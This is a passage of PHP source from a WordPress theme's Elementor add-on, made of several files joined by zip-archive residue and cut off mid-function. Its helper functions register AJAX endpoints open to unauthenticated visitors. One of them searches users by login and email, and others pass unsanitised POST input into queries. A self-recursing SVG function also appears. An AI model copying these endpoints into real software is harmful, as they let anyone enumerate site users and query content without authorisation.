	public function enqueue_editor_styles() {
		wp_enqueue_style( 'penci-elementor-editor', PENCI_ELEMENTOR_URL . 'assets/css/editor.css', array( 'elementor-editor' ), PENCI_SOLEDAD_VERSION );
	}

	public function enqueue_editor_scripts() {
		if ( defined( 'ELEMENTOR_PRO_VERSION' ) ) {
			return;
		}

		if ( version_compare( ELEMENTOR_VERSION, '3.0.0', '<' ) ) {
			wp_enqueue_script( 'penci-elementor', PENCI_ELEMENTOR_URL . 'assets/js/editor.bak.js', array( 'backbone-marionette' ), PENCI_SOLEDAD_VERSION, true );
		} else {
			wp_enqueue_script( 'penci-elementor', PENCI_ELEMENTOR_URL . 'assets/js/editor.min.js', array(
				'backbone-marionette',
				'elementor-common',
				'elementor-editor-modules',
				'elementor-editor-document',
			), PENCI_SOLEDAD_VERSION, true );
		}

		wp_localize_script( 'penci-elementor', 'PenciElementorConfig', array(
			'i18n'     => array(),
			'isActive' => true,
		) );
	}

	/**
	 * Register scripts
	 */
	public function register_frontend_scripts() {
		$api = get_theme_mod( 'penci_map_api_key', '' );
		if ( $api ) {
			$map_url = 'https://maps.google.com/maps/api/js?key=' . esc_attr( $api );
		} else {
			$map_url = 'https://cdnjs.cloudflare.com/ajax/libs/googlemaps-js-api-loader/1.16.8/index.min.js';
		}
		wp_register_script( 'google-map', esc_url( $map_url ), array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-amap', PENCI_SOLEDAD_URL . '/js/advance-gmaps.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'jquery.plugin', PENCI_SOLEDAD_URL . '/js/jquery.plugin.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'countdown', PENCI_SOLEDAD_URL . '/js/jquery.countdown.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'waypoints', PENCI_SOLEDAD_URL . '/js/waypoints.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-content-accordion', PENCI_SOLEDAD_URL . '/js/content-accordion.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-image-compare', PENCI_SOLEDAD_URL . '/js/image-compare.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'jquery-counterup', PENCI_SOLEDAD_URL . '/js/jquery.counterup.min.js', array(
			'jquery',
			'waypoints'
		), '1.0', true );
		wp_register_script( 'penci-button-popup', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-button-popup.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-custom-carousel', PENCI_SOLEDAD_URL . '/js/custom-carousel-front.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-el-toc', PENCI_SOLEDAD_URL . '/js/penci-el-toc.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-sticky-container', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/sticky.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-header-search', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/search.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_script( 'penci-formula', PENCI_SOLEDAD_URL . '/js/formula.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-jstat', PENCI_SOLEDAD_URL . '/js/jstat.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-advanced-calculator', PENCI_SOLEDAD_URL . '/js/advanced-calculator.js', array( 'jquery', 'penci-formula', 'penci-jstat' ), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-hover-box', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/hoverbox.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-hover-box', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/hoverbox.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-circle-menu', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/circlemenu.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-circle-menu', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/circlemenu.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-circle-info', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/circleinfo.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-circle-info', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/circleinfo.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
				
		wp_register_script( 'penci-marquee-el', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/marquee.js', array('jquery','gsap'), PENCI_SOLEDAD_VERSION, true );
		
		if ( did_action( 'elementor/loaded' ) ) {
			$kit = Plugin::$instance->kits_manager->get_active_kit();
			$is_global_image_lightbox_enabled = 'yes' === $kit->get_settings( 'global_image_lightbox' );

			if ( $is_global_image_lightbox_enabled ) {
				wp_enqueue_script( 'penci-el-lightbox', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/lightbox.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
			}
		}
	}

	public function on_elementor_init() {
		$this->modules_manager = new Manager();
	}

	public function select2_ajax_posts_filter_autocomplete() {
		$post_type   = 'any';
		$source_name = 'post_type';

		if ( ! empty( $_GET['post_type'] ) && 'by_id' != $_GET['post_type'] && 'current_query' != $_GET['post_type'] && 'related_posts' != $_GET['post_type'] ) {
			$post_type = sanitize_text_field( $_GET['post_type'] );
		}

		if ( ! empty( $_GET['source_name'] ) ) {
			$source_name = sanitize_text_field( $_GET['source_name'] );
		}

		$search  = ! empty( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : '';
		$results = $post_list = [];
		switch ( $source_name ) {
			case 'taxonomy':
				$post_list = wp_list_pluck( get_terms( $post_type, [
					'hide_empty' => false,
					'orderby'    => 'name',
					'order'      => 'ASC',
					'search'     => $search,
					'number'     => '10',
				] ), 'name', 'term_id' );
				break;
			default:
				$post_list = $this->get_query_post_list( $post_type, 10, $search );
		}

		if ( ! empty( $post_list ) ) {
			foreach ( $post_list as $key => $item ) {
				$results[] = [ 'text' => $item, 'id' => $key ];
			}
		}
		wp_send_json( [ 'results' => $results ] );
	}

	public function get_query_post_list( $post_type = 'any', $limit = - 1, $search = '' ) {
		global $wpdb;
		$where = '';
		$data  = [];

		if ( - 1 == $limit ) {
			$limit = '';
		} elseif ( 0 == $limit ) {
			$limit = "limit 0,1";
		} else {
			$limit = $wpdb->prepare( " limit 0,%d", esc_sql( $limit ) );
		}

		if ( 'any' === $post_type ) {
			$in_search_post_types = get_post_types( [ 'exclude_from_search' => false ] );
			if ( empty( $in_search_post_types ) ) {
				$where .= ' AND 1=0 ';
			} else {
				$where .= " AND {$wpdb->posts}.post_type IN ('" . join( "', '", array_map( 'esc_sql', $in_search_post_types ) ) . "')";
			}
		} elseif ( ! empty( $post_type ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_type = %s", esc_sql( $post_type ) );
		}

		if ( ! empty( $search ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_title LIKE %s", '%' . esc_sql( $search ) . '%' );
		}

		$query   = "select post_title,ID  from $wpdb->posts where post_status = 'publish' $where $limit";
		$results = $wpdb->get_results( $query );
		if ( ! empty( $results ) ) {
			foreach ( $results as $row ) {
				$data[ $row->ID ] = $row->post_title;
			}
		}

		return $data;
	}

	public function select2_ajax_get_posts_value_titles() {
		if ( empty( array_filter( $_POST['id'] ) ) ) {
			wp_send_json_error( [] );
		}

		$ids         = array_map( 'intval', $_POST['id'] );
		$source_name = ! empty( $_POST['source_name'] ) ? sanitize_text_field( $_POST['source_name'] ) : '';

		switch ( $source_name ) {
			case 'taxonomy':
				$response = wp_list_pluck( get_terms( sanitize_text_field( $_POST['post_type'] ), [
					'hide_empty' => false,
					'orderby'    => 'name',
					'order'      => 'ASC',
					'include'    => implode( ',', $ids ),
				] ), 'name', 'term_id' );
				break;
			default:
				$post_info = get_posts( [
					'post_type' => sanitize_text_field( $_POST['post_type'] ),
					'include'   => implode( ',', $ids )
				] );
				$response  = wp_list_pluck( $post_info, 'post_title', 'ID' );
		}

		if ( ! empty( $response ) ) {
			wp_send_json_success( [ 'results' => $response ] );
		} else {
			wp_send_json_error( [] );
		}
	}
}

Loader::instance();

PK     N\a.A    7  inc/elementor/includes/penci_custom_walker_category.phpnu [        <?php


class Penci_Custom_Walker_Category extends Walker_Category {

	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
		/** This filter is documented in wp-includes/category-template.php */
		$cat_name = apply_filters(
			'list_cats',
			esc_attr( $category->name ),
			$category
		);

		// Don't generate an element if the category name is empty.
		if ( ! $cat_name ) {
			return;
		}

		$link = '<a class="pf-value" href="' . esc_url( get_term_link( $category ) ) . '" data-val="' . esc_attr( $category->slug ) . '" data-title="' . esc_attr( $category->name ) . '" ';
		if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) {
			/**
			 * Filters the category description for display.
			 *
			 * @param string $description Category description.
			 * @param object $category Category object.
			 *
			 * @since 1.2.0
			 *
			 */
			$link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"';
		}

		$link .= '>';
		$link .= $cat_name . '</a>';

		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
			$link .= ' ';

			if ( empty( $args['feed_image'] ) ) {
				$link .= '(';
			}

			$link .= '<a href="' . esc_url( get_term_feed_link( $category->term_id, $category->taxonomy, $args['feed_type'] ) ) . '"';

			if ( empty( $args['feed'] ) ) {
				$alt = ' alt="' . sprintf( esc_html__( 'Feed for all posts filed under %s', 'soledad' ), $cat_name ) . '"';
			} else {
				$alt  = ' alt="' . $args['feed'] . '"';
				$name = $args['feed'];
				$link .= empty( $args['title'] ) ? '' : $args['title'];
			}

			$link .= '>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= $name;
			} else {
				$link .= "<img src='" . $args['feed_image'] . "'$alt" . ' />';
			}
			$link .= '</a>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= ')';
			}
		}

		if ( ! empty( $args['show_count'] ) ) {
			$link .= ' (' . number_format_i18n( $category->count ) . ')';
		}
		if ( 'list' == $args['style'] ) {
			$output      .= "\t<li";
			$css_classes = array(
				'cat-item',
				'cat-item-' . $category->term_id,
			);

			if ( ! empty( $args['current_category'] ) ) {
				// 'current_category' can be an array, so we use `get_terms()`.
				$_current_terms = get_terms(
					$category->taxonomy,
					array(
						'include'    => $args['current_category'],
						'hide_empty' => false,
					)
				);

				foreach ( $_current_terms as $_current_term ) {
					if ( $category->term_id == $_current_term->term_id ) {
						$css_classes[] = 'current-cat pf-active';
					} elseif ( $category->term_id == $_current_term->parent ) {
						$css_classes[] = 'current-cat-parent';
					}
					while ( $_current_term->parent ) {
						if ( $category->term_id == $_current_term->parent ) {
							$css_classes[] = 'current-cat-ancestor';
							break;
						}
						$_current_term = get_term( $_current_term->parent, $category->taxonomy );
					}
				}
			}

			/**
			 * Filters the list of CSS classes to include with each category in the list.
			 *
			 * @param array $css_classes An array of CSS classes to be applied to each list item.
			 * @param object $category Category data object.
			 * @param int $depth Depth of page, used for padding.
			 * @param array $args An array of wp_list_categories() arguments.
			 *
			 * @since 4.2.0
			 *
			 * @see wp_list_categories()
			 *
			 */
			$css_classes = implode( ' ', apply_filters( 'category_css_class', $css_classes, $category, $depth, $args ) );

			$output .= ' class="' . $css_classes . '"';
			$output .= ">$link\n";
		} elseif ( isset( $args['separator'] ) ) {
			$output .= "\t$link" . $args['separator'] . "\n";
		} else {
			$output .= "\t$link<br />\n";
		}
	}
}
PK     N\    '  inc/elementor/includes/autocomplete.phpnu [        <?php
/**
 * Elementor autocomplete controls
 *
 * @package soledad
 */

namespace PenciSoledadElementor\Controls;

use Elementor\Base_Data_Control;

/**
 * Elementor penci_el_autocomplete control.
 *
 * @since 1.0.0
 */
class Autocomplete extends Base_Data_Control {
	/**
	 * Get penci_el_autocomplete control type.
	 *
	 * Retrieve the control type, in this case `penci_el_autocomplete`.
	 *
	 * @return string Control type.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_type() {
		return 'penci_el_autocomplete';
	}

	/**
	 * Enqueue control scripts and styles.
	 *
	 * @since  1.0.0
	 * @access public
	 */
	public function enqueue() {
		wp_enqueue_script( 'penci_el_autocomplete-control', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-el-autocomplete.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, false );
	}

	/**
	 * Render penci_el_autocomplete control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since  1.0.0
	 * @access public
	 */
	public function content_template() {
		$control_uid = $this->get_control_uid();
		?>
        <div class="elementor-control-field">
            <label for="<?php echo esc_attr( $control_uid ); ?>" class="elementor-control-title">{{{ data.label
                }}}</label>
            <div class="elementor-control-input-wrapper">
                <# var multiple = ( data.multiple ) ? 'multiple' : ''; #>
                <select id="<?php echo esc_attr( $control_uid ); ?>" class="elementor-select2" type="select2" {{
                        multiple }} data-setting="{{ data.name }}" data-post-type="{{ data.post_type }}"
                        data-taxonomy="{{ data.taxonomy }}"
                        data-placeholder="<?php echo esc_attr__( 'Search', 'soledad' ); ?>">
                    <# _.each( data.options, function( option_title, option_value ) {
                    var value = data.controlValue;
                    if ( typeof value == 'string' ) {
                    var selected = ( option_value === value ) ? 'selected' : '';
                    } else if ( null !== value ) {
                    var value = _.values( value );
                    var selected = ( -1 !== value.indexOf( option_value ) ) ? 'selected' : '';
                    }
                    #>
                    <option {{ selected }} value="{{ option_value }}">{{{ option_title }}}</option>
                    <# } ); #>
                </select>
            </div>
        </div>
        <# if ( data.description ) { #>
        <div class="elementor-control-field-description">{{{ data.description }}}</div>
        <# } #>
		<?php
	}

	/**
	 * Get penci_el_autocomplete control default settings.
	 *
	 * Retrieve the default settings of the penci_el_autocomplete control. Used to return the
	 * default settings while initializing the penci_el_autocomplete control.
	 *
	 * @return array Control default settings.
	 * @since  1.8.0
	 * @access protected
	 *
	 */
	protected function get_default_settings() {
		return [
			'label_block' => true,
			'multiple'    => false,
			'taxonomy'    => false,
			'post_type'   => false,
			'options'     => [],
			'callback'    => '',
		];
	}
}
PK     N\|T  T  "  inc/elementor/includes/select2.phpnu [        <?php

namespace PenciSoledadElementor\Controls;

// If this file is called directly, abort.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

use Elementor\Base_Data_Control;

class Select2 extends Base_Data_Control {
	public function get_type() {
		return 'penci-select2';
	}

	public function enqueue() {
		wp_register_script( 'penci-select2', PENCI_ELEMENTOR_URL . 'assets/js/penci-select2.js', [ 'jquery-elementor-select2' ], '1.0.0', true );
		wp_localize_script( 'penci-select2', 'penci_select2_localize', [
				'ajaxurl'     => admin_url( 'admin-ajax.php' ),
				'search_text' => esc_html__( 'Search', 'soledad' ),
			] );
		wp_enqueue_script( 'penci-select2' );
	}

	public function content_template() {
		$control_uid = $this->get_control_uid();
		?>
        <# var controlUID = '<?php echo $control_uid; ?>'; #>
        <# var currentID = elementor.panel.currentView.currentPageView.model.attributes.settings.attributes[data.name]; #>
        <div class="elementor-control-field">
            <# if ( data.label ) { #>
            <label for="<?php echo $control_uid; ?>" class="elementor-control-title">{{{data.label }}}</label>
            <# } #>
            <div class="elementor-control-input-wrapper elementor-control-unit-5">
                <# var multiple = ( data.multiple ) ? 'multiple' : ''; #>
                <select id="<?php echo $control_uid; ?>" {{ multiple }} class="penci-select2"
                        data-setting="{{ data.name }}"></select>
            </div>
        </div>
        <#
        ( function( $ ) {
        $( document.body ).trigger( 'penci_select2_init',{currentID:currentID,data:data,controlUID:controlUID,multiple:data.multiple} );
        }( jQuery ) );
        #>
		<?php
	}

	protected function get_default_settings() {
		return [
			'multiple'    => true,
			'source_name' => 'post_type',
			'source_type' => 'post',
		];
	}
}
PK     N\ǢOb
  b
     inc/elementor/includes/utils.phpnu [        <?php

namespace PenciSoledadElementor\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Utils {

	/**
	 * @param array $args
	 *
	 * @return array
	 * @deprecated 2.0.5
	 *
	 */
	public static function get_post_types( $args = [] ) {
		_deprecated_function( __FUNCTION__, '2.0.5', 'Utils::get_public_post_types()' );

		return self::get_public_post_types( $args );
	}

	public static function get_public_post_types( $args = [] ) {
		$post_type_args = [
			// Default is the value $public.
			'show_in_nav_menus' => true,
		];

		if ( ! empty( $args['post_type'] ) ) {
			$post_type_args['name'] = $args['post_type'];
		}

		$_post_types = get_post_types( $post_type_args, 'objects' );

		$post_types = [];

		$exclude = [
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		];


		foreach ( $_post_types as $post_type => $object ) {
			if ( ! in_array( $post_type, $exclude ) ) {
				$post_types[ $post_type ] = $object->label;
			}
		}

		return $post_types;
	}

	public static function get_client_ip() {
		$server_ip_keys = [
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		];

		foreach ( $server_ip_keys as $key ) {
			if ( isset( $_SERVER[ $key ] ) && filter_var( $_SERVER[ $key ], FILTER_VALIDATE_IP ) ) {
				return $_SERVER[ $key ];
			}
		}

		// Fallback local ip.
		return '127.0.0.1';
	}

	public static function get_site_domain() {
		return str_ireplace( 'www.', '', parse_url( home_url(), PHP_URL_HOST ) );
	}

	/**
	 * Used to overcome core bug when taxonomy is in more then one post type
	 *
	 * @see https://core.trac.wordpress.org/ticket/27918
	 *
	 * @global array $wp_taxonomies The registered taxonomies.
	 *
	 *
	 * @param array $args
	 * @param string $output
	 * @param string $operator
	 *
	 * @return array
	 */
	public static function get_taxonomies( $args = [], $output = 'names', $operator = 'and' ) {
		global $wp_taxonomies;

		$field = ( 'names' === $output ) ? 'name' : false;

		// Handle 'object_type' separately.
		if ( isset( $args['object_type'] ) ) {
			$object_type = (array) $args['object_type'];
			unset( $args['object_type'] );
		}

		$taxonomies = wp_filter_object_list( $wp_taxonomies, $args, $operator );

		if ( isset( $object_type ) ) {
			foreach ( $taxonomies as $tax => $tax_data ) {
				if ( ! array_intersect( $object_type, $tax_data->object_type ) ) {
					unset( $taxonomies[ $tax ] );
				}
			}
		}

		if ( $field ) {
			$taxonomies = wp_list_pluck( $taxonomies, $field );
		}

		return $taxonomies;
	}
}
PK     N\+\-  -  !  inc/elementor/includes/helper.phpnu [        <?php

use Elementor\Group_Control_Image_Size;
use Elementor\Icons_Manager;
use Elementor\Plugin;
use Elementor\Utils;

require_once PENCI_SOLEDAD_DIR . '/inc/elementor/includes/penci_custom_walker_category.php';

if ( ! function_exists( 'penci_get_posts_by_query' ) ) {
	/**
	 * Get post by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_posts_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$post_type     = isset( $_POST['post_type'] ) ? $_POST['post_type'] : 'all'; // phpcs:ignore
		$results       = array();

		$default_query = array(
			's'              => $search_string,
			'posts_per_page' => - 1,
		);


		if ( $post_type != 'all' ) {
			$default_query['post_type'] = $post_type;
		}

		$query = new WP_Query( $default_query );

		if ( ! isset( $query->posts ) ) {
			return;
		}

		foreach ( $query->posts as $post ) {
			$results[] = array(
				'id'   => $post->ID,
				'text' => $post->post_title,
			);
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_posts_by_query', 'penci_get_posts_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_posts_by_query', 'penci_get_posts_by_query' );
}

if ( ! function_exists( 'penci_get_user_by_query' ) ) {
	/**
	 * Get post by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_user_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$results       = array();

		$user_query = new WP_User_Query(
			array(
				'search'         => '*' . $search_string . '*',
				'search_columns' => array( 'user_login', 'user_email', 'user_nicename' ),
				'fields'         => array( 'ID', 'display_name' ),
			)
		);

		if ( empty( $user_query->get_results() ) ) {
			return;
		}

		foreach ( $user_query->get_results() as $user ) {
			$results[] = array(
				'id'   => $user->ID,
				'text' => $user->display_name,
			);
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_user_by_query', 'penci_get_user_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_user_by_query', 'penci_get_user_by_query' );
}

if ( ! function_exists( 'penci_get_user_title_by_id' ) ) {
	/**
	 * Get post title by ID
	 *
	 * @since 1.0.0
	 */
	function penci_get_user_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		$user_query = new WP_User_Query(
			array(
				'include'        => $ids,
				'search_columns' => array( 'user_login', 'user_email', 'user_nicename' ),
				'fields'         => array( 'ID', 'display_name' ),
			)
		);

		if ( empty( $user_query->get_results() ) ) {
			return;
		}

		foreach ( $user_query->get_results() as $user ) {
			$results[ $user->ID ] = $user->display_name;
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_user_title_by_id', 'penci_get_user_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_user_title_by_id', 'penci_get_user_title_by_id' );
}

if ( ! function_exists( 'penci_get_posts_title_by_id' ) ) {
	/**
	 * Get post title by ID
	 *
	 * @since 1.0.0
	 */
	function penci_get_posts_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		$args = array(
			'post__in'       => $ids,
			'posts_per_page' => - 1,
			'post_type'      => 'any',
		);

		$query = get_posts( $args );

		if ( empty( $query ) ) {
			return;
		}

		foreach ( $query as $post ) {
			$results[ $post->ID ] = $post->post_title;
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_posts_title_by_id', 'penci_get_posts_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_posts_title_by_id', 'penci_get_posts_title_by_id' );
}
if ( ! function_exists( 'penci_get_taxonomies_title_by_id' ) ) {
	/**
	 * Get taxonomies title by id
	 *
	 * @since 1.0.0
	 */
	function penci_get_taxonomies_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		if ( is_array( $ids ) && $ids ) {
			foreach ( $ids as $id ) {
				$term = get_term( $id );
				if ( is_object( $term ) ) {
					$results[ $term->term_id ] = $term->name . ' (' . $term->taxonomy . ')';
				}
			}
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_taxonomies_title_by_id', 'penci_get_taxonomies_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_taxonomies_title_by_id', 'penci_get_taxonomies_title_by_id' );
}

if ( ! function_exists( 'penci_get_taxonomies_by_query' ) ) {
	/**
	 * Get taxonomies by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_taxonomies_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$taxonomy      = isset( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : ''; // phpcs:ignore
		$results       = array();

		$args = array(
			'taxonomy'   => $taxonomy,
			'hide_empty' => false,
			'search'     => $search_string,
		);

		$terms = get_terms( $args );

		if ( is_array( $terms ) && $terms ) {
			foreach ( $terms as $term ) {
				if ( is_object( $term ) ) {
					$results[] = array(
						'id'   => $term->term_id,
						'text' => $term->name . ' (' . $term->taxonomy . ')',
					);
				}
			}
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_taxonomies_by_query', 'penci_get_taxonomies_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_taxonomies_by_query', 'penci_get_taxonomies_by_query' );
}

if ( ! function_exists( 'penci_get_image_html' ) ) {
	/**
	 * Get image url
	 *
	 * @param array $settings Control settings.
	 * @param string $image_size_key Settings key for image size.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_get_image_html( $settings, $image_size_key = '' ) {

		return Group_Control_Image_Size::get_attachment_image_html( $settings, $image_size_key );
	}
}

if ( ! function_exists( 'penci_get_image_url' ) ) {
	/**
	 * Get image url
	 *
	 * @param integer $id Image id.
	 * @param string $image_size_key Settings key for image size.
	 * @param array $settings Control settings.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_get_image_url( $id, $image_size_key, $settings ) {

		return Group_Control_Image_Size::get_attachment_image_src( $id, $image_size_key, $settings );
	}
}

if ( ! function_exists( 'penci_el_get_link_attrs' ) ) {
	/**
	 * Get image url
	 *
	 * @param array $link Link data array.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_el_get_link_attrs( $link ) {
		$link_attrs = '';

		if ( isset( $link['url'] ) && $link['url'] ) {
			$link_attrs = ' href="' . esc_url( $link['url'] ) . '"';

			if ( isset( $link['is_external'] ) && 'on' === $link['is_external'] ) {
				$link_attrs .= ' target="_blank"';
			}

			if ( isset( $link['nofollow'] ) && 'on' === $link['nofollow'] ) {
				$link_attrs .= ' rel="nofollow noopener"';
			}
		}

		if ( isset( $link['class'] ) ) {
			$link_attrs .= ' class="' . esc_attr( $link['class'] ) . '"';
		}

		if ( isset( $link['data'] ) ) {
			$link_attrs .= $link['data'];
		}

		if ( isset( $link['custom_attributes'] ) ) {
			$custom_attributes = Utils::parse_custom_attributes( $link['custom_attributes'] );
			foreach ( $custom_attributes as $key => $value ) {
				$link_attrs .= ' ' . $key . '="' . $value . '"';
			}
		}

		return $link_attrs;
	}
}

if ( ! function_exists( 'penci_elementor_get_render_icon' ) ) {
	/**
	 * Render Icon
	 *
	 * @param array $icon Icon Type, Icon value.
	 * @param array $attributes Icon HTML Attributes.
	 * @param string $tag Icon HTML tag, defaults to <i>.
	 *
	 * @return mixed|string
	 * @since 1.0.0
	 */
	function penci_elementor_get_render_icon( $icon, $attributes = array(), $tag = 'i' ) {
		ob_start();
		Icons_Manager::render_icon( $icon, $attributes, $tag );

		return ob_get_clean();
	}
}


if ( ! function_exists( 'penci_get_all_taxonomies' ) ) {
	function penci_get_all_taxonomies() {

		$out = array(
			'category' => 'Post Categories',
			'post_tag' => 'Post Tags',
		);

		if ( class_exists( 'woocommerce' ) ) {
			$out['product_cat'] = 'Product Categories';
			$out['product_tag'] = 'Product Tags';
		}

		if ( class_exists( 'Penci_Portfolio' ) ) {
			$out['portfolio-category'] = 'Portfolio Category';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_get_taxonomies_image' ) ) {
	function penci_get_taxonomies_image(
		$tax, $term, $options = array(
		'sort' => '',
		'key'  => '',
	)
	) {

		if ( 'field' == $options['sort'] && $options['key'] ) {
			return get_term_meta( $term, $options['key'], true );

		}

		$custom_arg = array();
		$arg        = array(
			'post_type'      => 'post',
			'posts_per_page' => 1,
			'meta_query'     => array(
				array(
					'key' => '_thumbnail_id',
				),
			),
			'tax_query'      => array(
				array(
					'taxonomy' => $tax,
					'terms'    => $term,
				),
			),
		);

		if ( $tax == 'product_cat' || $tax == 'product_tag' ) {
			$custom_arg['post_type'] = 'product';
		}

		if ( $tax == 'portfolio-category' ) {
			$custom_arg['post_type'] = 'portfolio';
		}

		if ( 'random' == $options['sort'] ) {
			$custom_arg['orderby'] = 'rand';
		}

		if ( 'view' == $options['sort'] && $options['key'] ) {
			$custom_arg['orderby']  = 'meta_value_num';
			$custom_arg['meta_key'] = $options['key'];
		}

		$arg = wp_parse_args( $custom_arg, $arg );

		$term_img = get_posts( $arg );
		if ( $term_img ) {
			return get_post_thumbnail_id( $term_img[0]->ID );
		}
	}
}

if ( ! function_exists( 'penci_elementor_is_edit_mode' ) ) {
	/**
	 * Whether the edit mode is active.
	 *
	 * @since 1.0.0
	 */
	function penci_elementor_is_edit_mode() {
		return Plugin::$instance->editor->is_edit_mode();
	}
}


if ( ! function_exists( 'penci_elementor_get_render_icon' ) ) {
	/**
	 * Render Icon
	 *
	 * @param array $icon Icon Type, Icon value.
	 * @param array $attributes Icon HTML Attributes.
	 * @param string $tag Icon HTML tag, defaults to <i>.
	 *
	 * @return mixed|string
	 * @since 1.0.0
	 */
	function penci_elementor_get_render_icon( $icon, $attributes = array(), $tag = 'i' ) {
		ob_start();
		Icons_Manager::render_icon( $icon, $attributes, $tag );

		return ob_get_clean();
	}
}


if ( ! function_exists( 'penci_get_any_svg' ) ) {
	function penci_get_any_svg( $file, $id = false ) {
		$content   = function_exists( 'penci_get_any_svg' ) ? penci_get_any_svg( $file ) : '';
		$start_tag = '<svg';
		if ( $id ) {
			$pattern = '/id="(\w)+"/';
			if ( preg_match( $pattern, $content ) ) {
				$content = preg_replace( $pattern, 'id="' . $id . '"', $content, 1 );
			} else {
				$content = preg_replace( '/<svg/', '<svg id="' . $id . '"', $content );
			}
		}
		// Strip doctype
		$position = strpos( $content, $start_tag );
		$content  = substr( $content, $position );

		return $content;
	}
}
if ( ! function_exists( 'penci_get_terms_list' ) ) {
	function penci_get_terms_list( $tax ) {
		$post_cats_args = get_terms(
			array(
				'taxonomy'   => $tax,
				'hide_empty' => true,
			)
		);
		$post_terms     = array();
		if ( $post_cats_args && ! empty( $post_cats_args ) ) {
